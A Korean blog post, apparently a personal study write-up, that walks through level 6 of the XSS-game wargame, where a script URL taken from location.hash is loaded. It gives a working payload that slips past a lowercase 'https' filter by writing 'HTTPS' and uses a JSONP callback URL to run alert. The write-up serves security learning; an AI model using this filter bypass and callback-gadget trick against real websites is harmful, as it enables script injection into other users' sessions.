해킹/Web hacking

XSS-game level 6

공부하는 뚱이 2023. 2. 2. 23:03
반응형

마지막 6단계까지 와버리고야 말았다.

복잡한 웹 응용 프로그램은 때때로 URL 매개 변수의 값이나 location.hash의 일부를 기반으로 자바스크립트 라이브러리를 동적으로 로드하는 기능을 가지고 있다.

스크립트나 기타 잠재적으로 위험한 유형의 데이터(예: XMLHttpRequest)를 로드할 때 사용자 입력이 URL에 영향을 미치도록 허용하면 심각한 취약성이 발생하는 경우가 많습니다.

 

문제 목적: 응용 프로그램이 경고()를 실행하는 외부 파일을 요청하도록 만드는 방법을 찾습니다.

 

화면에는 Couldn't load gadget from /static/gadget.js라는 글이 적혀 있다.

 

소스코드를 보니

This will totally prevent us from loading evil URLs!

(이렇게 하면 악의적인 URL을 로드하는 것을 완전히 방지할 수 있습니다!)

라는 글이 있다.

흠... 악의적인 URL을 통해 XSS공격을 실행? 

 

 

힌트들을 읽어보니 무슨 뜻인지 감이 잡히기 시작했다.

1. 위치 조각(# 뒤)의 값이 로드된 스크립트의 URL에 어떤 영향을 미치는지 확인합니다.
2. 가젯 URL의 보안 검사가 정말 완벽한가요?
3. 가끔 좌절할 때는 비명을 지르고 싶어...
4. 만약 당신이 당신 자신의 사악한 JS 파일을 쉽게 호스팅할 수 없다면, google.com/jsapi?callback=foo이 여기서 당신을 도울 수 있는지 확인해 보세요.

 

위치조각 뒤의 값이 로드된 스크립트의 URL에 /static/gadget.js에서 가젯을 로드할 수 없습니다 즉 가젯을 로드해 XSS공격을 실행해야 한다. 그리고 힌트 4번에 google.com/jsapi?callback=foo 준 주소로 가보면

 

이런식으로 foo 함수에 대해 콜백을 하였다.

저 주소를 사용하여

google.com/jsapi?callback=alert()를 한다면 문제는 해결될 것이다. 

여기서 https가 막혀있는데 어떻게 하면 될까? 

https가 막혔지만 대문자의 HTTPS는 막히지 않았기 때문에

 

https://xss-game.appspot.com/level6/frame#HTTPS://www.gstatic.com/charts/loader.js?callback=alert

라고 입력하면 

 

문제 해결

문제가 해결되었다.

되게 재미있는 게임이었고 이런 게임들을 많이 풀면 풀수록 해킹 공부에 도움이 많이 되는 것 같다. 그래서 최대한 다양한 워게임을 경험하는 것이 보안공부에 있어서 중요한 경험이 되는 것 같다. 이번 xss game을 통해 xss에 대해 이해가 많이 되었고 다양한 문제를 통해 한층 더 성장한 것 같아 뿌듯하다.

 

반응형